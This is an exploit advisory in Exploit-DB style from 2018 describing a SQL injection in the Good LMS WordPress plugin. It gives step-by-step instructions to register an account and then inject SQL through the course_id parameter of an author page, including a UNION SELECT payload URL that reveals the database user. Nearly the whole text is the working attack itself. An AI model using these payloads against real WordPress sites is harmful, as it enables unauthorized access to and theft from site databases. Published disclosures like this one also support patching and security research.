17 lines
No EOL
661 B
Text
17 lines
No EOL
661 B
Text
# Exploit Title: Good LMS - Learning Management System WP Plugin SQL
|
|
Injection
|
|
# Date: 2018-01-24
|
|
# Exploit Author: Esecurity.ir
|
|
# Exploit Author Web Site: http://esecurity.ir
|
|
# Special Thanks : Meisam Monsef [meisamrce@gmail.com] - Telegram ID :
|
|
@meisamrce
|
|
# Vendor Homepage: https://goodlayers.com/
|
|
# Version: All Version
|
|
|
|
Exploit :
|
|
|
|
1 - First enter the link below and create an account
|
|
http://target.com/?register=1
|
|
2 - the exploit
|
|
http://target.com/author/[your-username]/?type=scoring-status-student&course_id=-999999+[SQL+Command]%23
|
|
http://target.com/author/[your-username]/?type=scoring-status-student&course_id=-999999+union+select+1,2,3,user()%23 |